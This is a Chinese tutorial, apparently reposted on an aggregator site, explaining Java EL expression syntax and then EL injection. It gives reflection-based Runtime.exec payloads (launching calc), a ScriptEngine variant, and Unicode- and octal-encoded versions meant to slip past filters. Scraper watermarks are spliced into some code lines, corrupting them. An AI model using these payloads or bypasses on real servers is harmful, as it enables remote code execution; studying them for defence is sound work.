热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

el表达式注入漏洞

原标题:el表达式注入漏洞0x00前言EL表达式在开发的时候学过,跟jsp一起学的当时那没有了解到后续的漏洞利用,但是现在转念一想也确实可

原标题:el表达式注入漏洞

0x00前言

EL表达式在开发的时候学过,跟jsp一起学的当时那没有了解到后续的漏洞利用,但是现在转念一想也确实可以直接java代码那java的利用方式不在这个语法中也可以使用嘛,然后学的时候也没有特别的仔细去扣细节


0x01概述

EL(全称 Expression Language )表达式语言。

作用:在jsp中可以写java的语法

获取域环境中获取数据,然后在前段展示就是前后端展示,

使用方法:

首先要通过page设置不可用忽略EL表达式

<%@ page cOntentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>

语法格式:${expression(表达式)}

回顾一下以前的知识,有四个域



  • page:当前页面有

  • request:当前请求有效

  • session:当前会话有效

  • application:当前应用有效

比如说我们在做一个操作就是

request.setAttribute(id,id);
setAttribute(String var1, Object var2);

这就是把它存到域,然后用对象id来可以取出来,都是存到域中那么会从那个域去取了,还是有什么标志去标记,还是说遍历循环的取,如果说是遍历循环去取的话又是什么样的顺序呢,答案是:

el 表达式获取数据,会依次从这 4 个域中寻找,直到找到为止。而这四个域对象的作用范围如下图所示。

image-20230120111329866

获取的顺序是先从page里面找然后没找到然后再从request里面找这样依次往上找最后找到application,这里说得也有点意思,双亲委派里面也有一个加载器叫applicationloader


0x02用法

要使用 EL 表达式来获取数据,需要按照顺序完成以下几个步骤。



  • 获取到数据,比如从数据库中拿到数据

  • 将数据存储到 request 域中

  • 转发到对应的 jsp 文件中

实现的方法就是那么简单我们做一个简单的demo,随便写一个实体类叫People

@WebServlet("/demo2")
public class ELDemo extends HttpServlet {
public ELDemo() {
super();
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletExceptiwww.yii666.comon, IOException {
List peoples = new ArrayList();
peoples.add(new People("小明",2,"510"));
peoples.add(new People("小明2",22,"5101"));
peoples.add(new People("小明2",222,"51011"));
req.setAttribute("peoples",peoples);
//转发一下请求,不转发的话是拿不到数据的
req.getRequestDispatcher("EL_demo.jsp").forward(req,resp);
}
@Override
protected long getLastModified(HttpServletRequest req) {
return super.getLastModified(req);
}
@Override
public void destroy() {
super.destroy();
}
}

<%@ page cOntentType="www.yii666.comtext/html;charset=UTF-8" language="java" isELIgnored="false" %>





${peoples}


image-20230203100933272

访问demo2就看到数据了,还有一些开发的小知识就简单快速的总结一下


0x03开发知识补充

取值的时候的四大对象

四大域 域在EL中的名称
Page PageScope
Request RequestScope
Session SessionScope
Application ApplicationScope

param: 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name}相当于 request.getParameter (name)。
paramValues: 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)。
header: 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name} 相当于 request.getHeader(name)。
headerValues 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name}相当于 request.getHeaderValues(name)。
COOKIE: 将 COOKIE 名称映射到单个 COOKIE 对象。向服务器发出的客户端请求可以获得一个或多个 COOKIE。表达式${COOKIE. name .value}返回带有特定名称的第一个 COOKIE 值。如果请求包含多个同名的 COOKIE,则应该使用${headerValues. name}表达式。
initParam: 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。

pageContext 对象

pageContext 对象是 JSP 中 pageContext 对象的引用。通过 pageContext 对象,您可以访问 request 对象。比如,访问 request 对象传入的查询字符串,简单来说就是去获取传参

${pageContext.request.queryString}

我们访问

http://localhost:8080/ELdemo_war_exploded/EL_demo.jsp?name=bearbar

返回的值就是 name=bearbar


Scope 对象

这个就很简单了就是获取对象的域对象,就是我们存的值是存在那个域对象里面就跟类的引用属性相似,例子:

我们存入对象 request.setAttribute("name","bearbar");,获取的它的方式就是${requestScope.name}


param 和 paramValues 对象

param 和 paramValues 对象用来访问参数值,通过使用 request.getParameter 方法和 request.getParameterValues 方法,这个方法就是很常用的方法了,也是获取传参值,它是以键值对的情况获取我们传参username=bearbar然后获取的时候${param.username},两者区别:param 对象返回单一的字符串,而 paramValues 对象则返回一个字符串数组。


header 和 headerValues 对象

header 和 headerValues 对象用来访问信息头,通过使用 request.getHeader() 方法和 request.getHeaders() 方法。

举例来说,要访问一个名为 user-agent 的信息头,可以这样使用表达式:${header.user-agent},或者 ${header["user-agent"]},就是简单的获取http头的信息


0x04EL表达式漏洞

看看实际的漏洞来看,都是已一些比较老的漏洞


CVE-2011-2730

看一个通用payload

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec文章来源地址102580.html","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))

这个就是一个简单的调用流程看一下实际情况中存在的spring的标签

"${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">

<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>

我们只需访问存在上面这个语句的jsp文件然后,传入参数就行

http://localhost/test.jsp?a=${payloadbyel}

这里就相当于执行了我们${payloadbyel}里面的语句

这个漏洞的利用方式就是传入内部的el表达式是可控的然后内部会执行el表达啥从而导致的注入


0x05基础bypass


利用ScriptEngine调用JS引擎绕过

${''文章来源地址102580.html.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("Javascript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

利用Unicode编码绕过

部分编码或者全部编码都可以

// Unicode编码内容为前面反射调用的PoC
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0文章来源站点https://www.yii666.com/061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d

利用八进制编码绕过

// 八进制编码内容为前面反射调用的PoC
\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175

后续的这些编码绕过其实就是避免明文的过滤有很多类型就不举例了


0x06小结

EL注入的话原理很简单,需要利用的话主要是需要清楚el语法的写法和一些常规的bypass的手段,后续还有spel表达式注入漏洞等


参考:

EL表达式注入 – JohnFrod's Blog

Java 之 EL 表达式注入 | 芜风 (drun1baby.github.io)

来源于:el表达式注入漏洞


推荐阅读
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 后台获取视图对应的字符串
    1.帮助类后台获取视图对应的字符串publicclassViewHelper{将View输出为字符串(注:不会执行对应的ac ... [详细]
  • 本文详细介绍了GetModuleFileName函数的用法,该函数可以用于获取当前模块所在的路径,方便进行文件操作和读取配置信息。文章通过示例代码和详细的解释,帮助读者理解和使用该函数。同时,还提供了相关的API函数声明和说明。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • C语言注释工具及快捷键,删除C语言注释工具的实现思路
    本文介绍了C语言中注释的两种方式以及注释的作用,提供了删除C语言注释的工具实现思路,并分享了C语言中注释的快捷键操作方法。 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文介绍了使用PHP实现断点续传乱序合并文件的方法和源码。由于网络原因,文件需要分割成多个部分发送,因此无法按顺序接收。文章中提供了merge2.php的源码,通过使用shuffle函数打乱文件读取顺序,实现了乱序合并文件的功能。同时,还介绍了filesize、glob、unlink、fopen等相关函数的使用。阅读本文可以了解如何使用PHP实现断点续传乱序合并文件的具体步骤。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
author-avatar
mobiledu2502910181
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有